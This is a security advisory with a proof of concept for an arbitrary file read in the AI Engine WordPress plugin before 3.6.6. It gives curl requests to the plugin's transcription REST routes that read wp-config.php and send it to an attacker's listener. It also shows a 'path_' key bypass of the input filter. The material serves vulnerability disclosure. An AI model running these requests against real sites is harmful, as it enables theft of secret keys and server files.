AI Engine < 3.6.6 – Subscriber+ Arbitrary File Read via Audio Transcription | CVE 2026-16955

Description

The plugin does not confine a caller-supplied file path before reading it and forwarding the contents to an external service, allowing users with a subscriber-level account to read arbitrary files from the server and exfiltrate them off-host. Reaching the issue at subscriber level requires a non-default public API feature to be enabled; otherwise the same issue is reachable by an administrator, which on multisite allows a non-super subsite administrator to read the network-shared configuration and its secrets.

Proof of Concept

Prerequisites: AI Engine <= 3.6.5. The attacker runs a listener at {catcher} reachable from the WordPress server. The plugin forwards the bytes it reads to the configured transcription endpoint, so {catcher} is where the file arrives.

Two paths reach the same file read. Path B needs a lower privilege but a non-default option.

PATH A, administrator, no non-default option required. On multisite this is the meaningful case: the attacker is a non-super Administrator of a subsite ({subsite}) and reads the network-shared configuration. On single site an administrator already has file access, so the multisite case is the boundary crossing.

1. As the subsite administrator, go to Settings > AI Engine > Environments, add an environment of type "Azure", set its Endpoint to {catcher}, and select it as the transcription environment. The plugin stores its options per site, so this is self-service on the attacker's own subsite.
2. Open the AI Engine settings page and read the REST nonce it embeds.
3. Read the network-shared configuration file:

   curl -s -b admin.jar -X POST "{subsite}/wp-json/mwai/v1/ai/transcribe_audio" \
     -H "Content-Type: application/json" -H "X-WP-Nonce: <rest_nonce>" \
     --data '{"url":"https://example.invalid/a.mp3","path":"/var/www/html/wp-config.php"}'

   Result: HTTP 200, and {catcher} receives a multipart POST whose file part is the literal wp-config.php, carrying AUTH_KEY, SECURE_AUTH_KEY, LOGGED_IN_KEY, NONCE_KEY, all four salts and the MULTISITE markers, sent as filename="a.mp3".

The URL is never fetched; it only satisfies a guard. Substituting {"mediaId":<any real attachment id>,"path":"..."} works identically. A traversal out of the uploads directory, an unrelated absolute path such as /etc/passwd, and a file:// URL in the path field all behave the same way. On 3.6.3 and earlier the bare {"path":"..."} form is sufficient on its own.

PATH B, subscriber, where the public API feature is enabled. That feature is off by default; where it is on, any logged-in user reaches the same read.

   curl -s -b subscriber.jar -X POST "{site}/wp-json/mwai/v1/simpleTranscribeAudio" \
     -H "Content-Type: application/json" -H "X-WP-Nonce: <rest_nonce>" \
     --data '{"mediaId":<any real attachment id>,"options":{"path_":"/var/www/html/wp-config.php"}}'

   Result: HTTP 200, and {catcher} receives the same file. This route does strip the exact key "path" from the options, but the trailing-underscore spelling is normalised back to it after the strip, so the value survives and reaches the read.

Negative controls: on the administrator route an Editor receives HTTP 403 and an unauthenticated request HTTP 401. On 3.6.6 both paths return only the legitimate audio source and no file bytes reach {catcher}.